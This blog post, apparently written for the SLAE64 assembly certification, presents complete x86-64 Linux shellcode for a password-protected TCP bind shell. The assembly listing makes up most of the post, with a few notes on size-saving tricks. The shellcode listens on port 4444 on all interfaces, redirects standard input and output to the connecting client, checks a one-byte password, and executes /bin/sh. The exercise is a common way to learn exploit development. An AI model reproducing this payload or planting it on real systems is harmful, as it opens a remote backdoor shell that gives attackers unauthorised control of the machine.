SLAE64 #1 - Bindshell TCP shellcode

There are many SLAE64 blogposts each explaining their variant of shellcode out there. I thought I would join in the fun. This is my version of the Bindshell TCP shellcode. I'll keep it brief and only list down the interesting or unique points in my shellcode.

  1. Line 9: To reduce size, I only assigned 2 bytes out of the 8 required for new_sock_struct, which is used to store the client socket descriptor. It will overwrite the lea instruction immediately after but since the instruction has already been executed, it does not matter.
  2. Line 43: Used shr to zero out last 4 bytes of bind_data_struct. Required so that shell can listen on 0.0.0.0.
  3. Line 105: I reused the first byte in bind_data_struct as a buffer to store the password input. By that time, the client has connected and the bind_data_struct is unused.
  4. Line 112: Jump outside of code region if password fails, causing a segfault, save a few bytes compared to exiting gracefully.

Total size: 175 bytes

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
global _start

section .text

_start:

    jmp $+12
    bind_data_struct: db 0x02, 0x01, 0x11, 0x5c, 0x01, 0x01, 0x01, 0x01
    new_sock_struct: db 0x01, 0x01


shell:

    ; store data struct address in r8
    lea r8, [rel bind_data_struct]

    ; sock = socket(AF_INET, SOCK_STREAM, 0)
    ; AF_INET = 2
    ; SOCK_STREAM = 1
    ; syscall number 41

    xor rax, rax
    mov al, 41
    xor rdi, rdi
    mov dil, 2
    xor rsi, rsi
    mov sil, 1
    xor rdx, rdx
    syscall

    ; copy socket descriptor to rdi for future use

    mov rdi, rax


    ; server.sin_family = AF_INET 
    ; server.sin_port = htons(PORT)
    ; server.sin_addr.s_addr = INADDR_ANY
    ; bzero(&server.sin_zero, 8)
    ; remove 0x1 by subtracting or shifting it off

    sub byte [r8+1], 0x1
    shr dword [r8+4], 0xff

    ; bind(sock, (struct sockaddr *)&server, sockaddr_len)
    ; syscall number 49

    mov al, 49
    mov rsi, r8
    mov dl, 16
    syscall


    ; listen(sock, MAX_CLIENTS)
    ; syscall number 50

    mov al, 50
    xor rsi, rsi
    mov sil, 2
    syscall


    ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
    ; syscall number 43

    mov al, 43
    add r8, 8
    mov rsi, r8
    mov byte [r8+1], 16
    add r8 , 1
    mov rdx, r8

    syscall

    ; store the client socket description 
    mov r9, rax

    ; close parent

    mov al, 3
    syscall

    ; duplicate sockets

    ; dup2 (new, old)
    mov rdi, r9

    ; STDIN
    mov al, 33
    xor rsi, rsi
    syscall

    ; STDOUT
    mov al, 33
    mov sil, 1
    syscall

    ; STDERR
    mov al, 33
    mov sil, 2
    syscall

    ;read password and store in first byte of r8
    xor rax, rax
    lea rsi, [r8]
    xor rdx, rdx
    mov dl, 1
    syscall

    ; check password against expected password | , if fail jump out of bounds, should cause a segfault
    cmp byte [rsi], 0x7C
    jnz $+44

    ; execve

    ; First NULL push

    xor rax, rax
    push rax

    ; push /bin//sh in reverse

    mov rbx, 0x68732f2f6e69622f
    push rbx

    ; store /bin//sh address in RDI

    mov rdi, rsp

    ; Second NULL push
    push rax

    ; set RDX
    mov rdx, rsp


    ; Push address of /bin//sh
    push rdi

    ; set RSI

    mov rsi, rsp

    ; Call the Execve syscall
    mov al, 59
    syscall

This blog post has (not) been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE64-XXXXX